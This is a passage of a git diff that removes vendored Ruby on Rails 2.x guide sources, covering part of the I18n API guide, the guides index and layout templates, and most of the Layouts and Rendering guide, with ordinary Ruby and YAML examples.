-In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
-
-The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
-
-<ruby>
-I18n.backend.store_translations :en, :inbox => {
-  :one => '1 message',
-  :other => '{{count}} messages'
-}
-I18n.translate :inbox, :count => 2
-# => '2 messages'
-</ruby>
-
-The algorithm for pluralizations in +:en+ is as simple as:
-
-<ruby>
-entry[count == 1 ? 0 : 1]
-</ruby>
-
-I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
-
-If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
-
-h4. Setting and Passing a Locale
-
-The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
-
-If no locale is passed, +I18n.locale+ is used:
-
-<ruby>
-I18n.locale = :de
-I18n.t :foo
-I18n.l Time.now
-</ruby>
-
-Explicitely passing a locale:
-
-<ruby>
-I18n.t :foo, :locale => :de
-I18n.l Time.now, :locale => :de
-</ruby>
-
-The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
-
-<ruby>
-I18n.default_locale = :de
-</ruby>
-
-h3. How to Store your Custom Translations
-
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
-
-For example a Ruby Hash providing translations can look like this:
-
-<ruby>
-{
-  :pt => {
-    :foo => {
-      :bar => "baz"
-    }
-  }
-}
-</ruby>
-
-The equivalent YAML file would look like this:
-
-<ruby>
-pt:
-  foo:
-    bar: baz
-</ruby>
-
-As you see, in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
-
-Here is a "real" example from the Active Support +en.yml+ translations YAML file:
-
-<ruby>
-en:
-  date:
-    formats:
-      default: "%Y-%m-%d"
-      short: "%b %d"
-      long: "%B %d, %Y"
-</ruby>
-
-So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
-
-<ruby>
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', :scope => :date
-I18n.t :short, :scope => 'date.formats'
-I18n.t :short, :scope => [:date, :formats]
-</ruby>
-
-Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
-
-h4. Translations for Active Record Models
-
-You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
-
-For example when you add the following translations:
-
-<ruby>
-en:
-  activerecord:
-    models:
-      user: Dude
-    attributes:
-      user:
-        login: "Handle"
-      # will translate User attribute "login" as "Handle"
-</ruby>
-
-Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle".
-
-h5. Error Message Scopes
-
-Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
-
-This gives you quite powerful means to flexibly adjust your messages to your application's needs.
-
-Consider a User model with a +validates_presence_of+ validation for the name attribute like this:
-
-<ruby>
-class User < ActiveRecord::Base
-  validates_presence_of :name
-end
-</ruby>
-
-The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
-
-<ruby>
-activerecord.errors.models.[model_name].attributes.[attribute_name]
-activerecord.errors.models.[model_name]
-activerecord.errors.messages
-</ruby>
-
-Thus, in our example it will try the following keys in this order and return the first result:
-
-<ruby>
-activerecord.errors.models.user.attributes.name.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-</ruby>
-
-When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
-
-For example, you might have an Admin model inheriting from User:
-
-<ruby>
-class Admin < User
-  validates_presence_of :name
-end
-</ruby>
-
-Then Active Record will look for messages in this order:
-
-<ruby>
-activerecord.errors.models.admin.attributes.title.blank
-activerecord.errors.models.admin.blank
-activerecord.errors.models.user.attributes.title.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-</ruby>
-
-This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
-
-h5. Error Message Interpolation
-
-The translated model name, translated attribute name, and value are always available for interpolation.
-
-So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your {{attribute}}"+.
-
-* +count+, where available, can be used for pluralization if present:
-
-|_. validation                 |_.with option              |_.message                  |_.interpolation|
-| validates_confirmation_of    | -                         | :confirmation             | -|
-| validates_acceptance_of      | -                         | :accepted                 | -|
-| validates_presence_of        | -                         | :blank                    | -|
-| validates_length_of          | :within, :in              | :too_short                | count|
-| validates_length_of          | :within, :in              | :too_long                 | count|
-| validates_length_of          | :is                       | :wrong_length             | count|
-| validates_length_of          | :minimum                  | :too_short                | count|
-| validates_length_of          | :maximum                  | :too_long                 | count|
-| validates_uniqueness_of      | -                         | :taken                    | -|
-| validates_format_of          | -                         | :invalid                  | -|
-| validates_inclusion_of       | -                         | :inclusion                | -|
-| validates_exclusion_of       | -                         | :exclusion                | -|
-| validates_associated         | -                         | :invalid                  | -|
-| validates_numericality_of    | -                         | :not_a_number             | -|
-| validates_numericality_of    | :greater_than             | :greater_than             | count|
-| validates_numericality_of    | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
-| validates_numericality_of    | :equal_to                 | :equal_to                 | count|
-| validates_numericality_of    | :less_than                | :less_than                | count|
-| validates_numericality_of    | :less_than_or_equal_to    | :less_than_or_equal_to    | count|
-| validates_numericality_of    | :odd                      | :odd                      | -|
-| validates_numericality_of    | :even                     | :even                     | -|
-
-h5. Translations for the Active Record +error_messages_for+ Helper
-
-If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
-
-Rails ships with the following translations:
-
-<yaml>
-en:
-  activerecord:
-    errors:
-      template:
-        header:
-          one:   "1 error prohibited this {{model}} from being saved"
-          other: "{{count}} errors prohibited this {{model}} from being saved"
-        body:    "There were problems with the following fields:"
-</yaml>
-
-h4. Overview of Other Built-In Methods that Provide I18n Support
-
-Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
-
-h5. Action View Helper Methods
-
-* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
-
-* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date selection helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
-
-* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
-
-h5. Active Record Methods
-
-* +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
-
-* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
-
-*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +'&nbsp;'+).
-
-h5. Active Support Methods
-
-* +Array#to_sentence+ uses format settings as given in the "support.array":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
-
-
-h3. Customize your I18n Setup
-
-h4. Using Different Backends
-
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
-
-That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
-
-<ruby>
-I18n.backend = Globalize::Backend::Static.new
-</ruby>
-
-h4. Using Different Exception Handlers
-
-The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
-
-<ruby>
-MissingTranslationData       # no translation was found for the requested key
-InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
-InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
-MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
-ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
-UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
-</ruby>
-
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
-
-The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
-
-In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
-
-<ruby>
-module I18n
-  def just_raise_that_exception(*args)
-    raise args.first
-  end
-end
-
-I18n.exception_handler = :just_raise_that_exception
-</ruby>
-
-This would re-raise all caught exceptions including +MissingTranslationData+.
-
-Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
-
-To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
-
-<ruby>
-I18n.t :foo, :raise => true # always re-raises exceptions from the backend
-</ruby>
-
-h3. Conclusion
-
-At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
-
-If you find anything missing or wrong in this guide please file a ticket on "our issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions please sign up to our "mailinglist":http://groups.google.com/group/rails-i18n.
-
-
-h3. Contributing to Rails I18n
-
-I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-bread of most widely useful features for inclusion in the core.
-
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
-
-If you find your own locale (language) missing from our "example translations data":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":http://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":http://github.com/guides/pull-requests.
-
-
-h3. Resources
-
-* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
-* "rails-i18n Google group":http://groups.google.com/group/rails-i18n - The project's mailing list.
-* "Github: rails-i18n":http://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
-* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
-* "Github: i18n":http://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
-* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
-
-
-h3. Authors
-
-* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
-* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
-
-If you found this guide useful please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
-
-
-h3. Footnotes
-
-fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
-
-fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
-
-fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
-
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/23
diff --git a/vendor/rails/railties/guides/source/index.html.erb b/vendor/rails/railties/guides/source/index.html.erb
deleted file mode 100644
index 1c06c92d..00000000
--- a/vendor/rails/railties/guides/source/index.html.erb
+++ /dev/null
@@ -1,125 +0,0 @@
-<% content_for :header_section do %>
-<h2>Ruby on Rails guides</h2>
-
-<p>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:</p>
-
-<ul>
-<li><a href="http://guides.rubyonrails.org">Current Release version</a> - based on Rails 2.3</li>
-<li><a href="http://edgeguides.rubyonrails.org">Edge version</a> - based on the current Rails <a href="http://github.com/rails/rails/tree/master">master branch</a></li>
-</ul>
-
-<% end %>
-
-<% content_for :index_section do %>
-<div id="subCol">
-  <dl>
-    <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a> and a work in progress.</dd>
-    <dd class="ticket">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</dd>
-  </dl>
-</div>
-<% end %>
-
-<h3>Start Here</h3>
-
-<dl>
-<% guide('Getting Started with Rails', 'getting_started.html') do %>
-  Everything you need to know to install Rails and create your first application.
-<% end %>
-</dl>
-
-<h3>Models</h3>
-
-<dl>
-<% guide("Rails Database Migrations", 'migrations.html') do %>
-  This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
-<% end %>
-
-<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html') do %>
-  This guide covers how you can use Active Record validations and callbacks.
-<% end %>
-
-<% guide("Active Record Associations", 'association_basics.html') do %>
-  This guide covers all the associations provided by Active Record.
-<% end %>
-
-<% guide("Active Record Query Interface", 'active_record_querying.html') do %>
-  This guide covers the database query interface provided by Active Record.
-<% end %>
-</dl>
-
-<h3>Views</h3>
-
-<dl>
-<% guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %>
-  This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
-<% end %>
-
-<% guide("Action View Form Helpers", 'form_helpers.html', :ticket => 1) do %>
-  Guide to using built in Form helpers.
-<% end %>
-</dl>
-
-<h3>Controllers</h3>
-
-<dl>
-<% guide("Action Controller Overview", 'action_controller_overview.html') do %>
-  This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
-<% end %>
-
-<% guide("Rails Routing from the Outside In", 'routing.html') do %>
-  This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
-<% end %>
-</dl>
-
-<h3>Digging Deeper</h3>
-
-<dl>
-
-<% guide("Rails on Rack", 'rails_on_rack.html') do %>
-  This guide covers Rails integration with Rack and interfacing with other Rack components.
-<% end %>
-
-<% guide("Rails Internationalization API", 'i18n.html') do %>
-  This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
-<% end %>
-
-<% guide("Action Mailer Basics", 'action_mailer_basics.html', :ticket => 25) do %>
-  This guide describes how to use Action Mailer to send and receive emails.
-<% end %>
-
-<% guide("Testing Rails Applications", 'testing.html', :ticket => 8) do %>
-  This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from “What is a test?” to the testing APIs. Enjoy.
-<% end %>
-
-<% guide("Securing Rails Applications", 'security.html') do %>
-  This guide describes common security problems in web applications and how to avoid them with Rails.
-<% end %>
-
-<% guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %>
-  This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
-<% end %>
-
-<% guide("Performance Testing Rails Applications", 'performance_testing.html') do %>
-  This guide covers the various ways of performance testing a Ruby on Rails application.
-<% end %>
-
-<% guide("The Basics of Creating Rails Plugins", 'plugins.html', :ticket => 32) do %>
-  This guide covers how to build a plugin to extend the functionality of Rails.
-<% end %>
-
-<% guide("Configuring Rails Applications", 'configuring.html') do %>
-  This guide covers the basic configuration settings for a Rails application.
-<% end %>
-
-<% guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :ticket => 29) do %>
-  This guide covers the command line tools and rake tasks provided by Rails.
-<% end %>
-
-<% guide("Caching with Rails", 'caching_with_rails.html', :ticket => 10) do %>
-  Various caching techniques provided by Rails.
-<% end %>
-
-<% guide("Contributing to Rails", 'contributing_to_rails.html') do %>
-  Rails is not "somebody else's framework." This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
-<% end %>
-</dl>
diff --git a/vendor/rails/railties/guides/source/layout.html.erb b/vendor/rails/railties/guides/source/layout.html.erb
deleted file mode 100644
index eb66366d..00000000
--- a/vendor/rails/railties/guides/source/layout.html.erb
+++ /dev/null
@@ -1,103 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-
-<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title>
-
-<link rel="stylesheet" type="text/css" href="files/stylesheets/style.css" />
-<link rel="stylesheet" type="text/css" href="files/stylesheets/syntax.css" />
-<link rel="stylesheet" type="text/css" href="files/stylesheets/print.css" media="print" />
-
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-            <hr />
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-              <dt>Start Here</dt>
-              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
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diff --git a/vendor/rails/railties/guides/source/layouts_and_rendering.textile b/vendor/rails/railties/guides/source/layouts_and_rendering.textile
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-h2. Layouts and Rendering in Rails
-
-This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
-
-* Use the various rendering methods built in to Rails
-* Create layouts with multiple content sections
-* Use partials to DRY up your views
-* Use nested layouts (sub-templates)
-
-endprologue.
-
-h3. Overview: How the Pieces Fit Together
-
-This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
-
-In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
-
-h3. Creating Responses
-
-From the controller's point of view, there are three ways to create an HTTP response:
-
-* Call +render+ to create a full response to send back to the browser
-* Call +redirect_to+ to send an HTTP redirect status code to the browser
-* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
-
-I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
-
-h4. Rendering by Default: Convention Over Configuration in Action
-
-You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class:
-
-<ruby>
-def show
-  @book = Book.find(params[:id])
-end
-</ruby>
-
-Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
-
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
-
-h4. Using +render+
-
-In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
-
-TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
-
-h5. Rendering Nothing
-
-Perhaps the simplest thing you can do with +render+ is to render nothing at all:
-
-<ruby>
-render :nothing => true
-</ruby>
-
-This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).
-
-TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-
-h5. Rendering an Action's View
-
-If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
-
-<ruby>
-def update
-  @book = Book.find(params[:id])
-    if @book.update_attributes(params[:book])
-      redirect_to(@book)
-    else
-      render "edit"
-    end
-  end
-end
-</ruby>
-
-If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
-
-If you prefer, you can use a symbol instead of a string to specify the action to render:
-
-<ruby>
-def update
-  @book = Book.find(params[:id])
-    if @book.update_attributes(params[:book])
-      redirect_to(@book)
-    else
-      render :edit
-    end
-  end
-end
-</ruby>
-
-To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3):
-
-<ruby>
-def update
-  @book = Book.find(params[:id])
-    if @book.update_attributes(params[:book])
-      redirect_to(@book)
-    else
-      render :action => "edit"
-    end
-  end
-end
-</ruby>
-
-WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
-
-h5. Rendering an Action's Template from Another Controller
-
-What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
-
-<ruby>
-render 'products/show'
-</ruby>
-
-Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
-
-<ruby>
-render :template => 'products/show'
-</ruby>
-
-h5. Rendering an Arbitrary File
-
-The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
-
-<ruby>
-render "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
-
-Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
-
-<ruby>
-render :file => 
-  "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
-
-The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
-
-NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
-
-TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
-
-h5. Using +render+ with +:inline+
-
-The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
-
-<ruby>
-render :inline => 
-  "<% products.each do |p| %><p><%= p.name %><p><% end %>"
-</ruby>
-
-WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
-
-By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option:
-
-<ruby>
-render :inline => 
-  "xml.p {'Horrid coding practice!'}", :type => :builder
-</ruby>
-
-h5. Using +render+ with +:update+
-
-You can also render javascript-based page updates inline using the +:update+ option to +render+:
-
-<ruby>
-render :update do |page|
-  page.replace_html 'warning', "Invalid options supplied"
-end
-</ruby>
-
-WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update.
-
-h5. Rendering Text
-
-You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
-
-<ruby>
-render :text => "OK"
-</ruby>
-
-TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
-
-NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option
-
-h5. Rendering JSON
-
-JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
-
-<ruby>
-render :json => @product
-</ruby>
-
-TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
-
-h5. Rendering XML
-
-Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
-
-<ruby>
-render :xml => @product
-</ruby>
-
-TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
-
-h5. Rendering Vanilla JavaScript
-
-Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file):
-
-<ruby>
-render :js => "alert('Hello Rails');"
-</ruby>
-
-This will send the supplied string to the browser with a MIME type of +text/javascript+.
-
-h5. Options for +render+
-
-Calls to the +render+ method generally accept four options:
-
-* +:content_type+
-* +:layout+
-* +:status+
-* +:location+
-
-h6. The +:content_type+ Option
-
-By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
-
-<ruby>
-render :file => filename, :content_type => 'application/rss'
-</ruby>
-
-h6. The +:layout+ Option
-
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
-
-You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
-
-<ruby>
-render :layout => 'special_layout'
-</ruby>
-
-You can also tell Rails to render with no layout at all:
-
-<ruby>
-render :layout => false
-</ruby>
-
-h6. The +:status+ Option
-
-Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
-
-<ruby>
-render :status => 500
-render :status => :forbidden
-</ruby>
-
-Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes.
-
-h6. The +:location+ Option
-
-You can use the +:location+ option to set the HTTP +Location+ header:
-
-<ruby>
-render :xml => photo, :location => photo_url(photo)
-</ruby>
-
-h5. Finding Layouts
-
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+ ot +/app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-
-h6. Specifying Layouts on a per-Controller Basis
-
-You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout "inventory"
-  #...
-end
-</ruby>
-
-With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
-
-To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  layout "main"
-  #...
-end
-</ruby>
-
-With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
-
-h6. Choosing Layouts at Runtime
-
-You can use a symbol to defer the choice of layout until a request is processed:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout :products_layout
-
-  def show
-    @product = Product.find(params[:id])
-  end
-
-  private
-    def products_layout
-      @current_user.special? ? "special" : "products"
-    end
-
-end
-</ruby>
-
-Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout proc { |controller| controller.request.xhr? ? 'popup' : 'application' }
-  # ...
-end
-</ruby>
-
-h6. Conditional Layouts
-
-Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names:
-
-<ruby>
-class ProductsController < ApplicationController
-  layout "product", :except => [:index, :rss]
-  #...
-end
-</ruby>
-
-With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
-
-h6. Layout Inheritance
-
-Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
-
-* +application_controller.rb+
-
-<ruby>
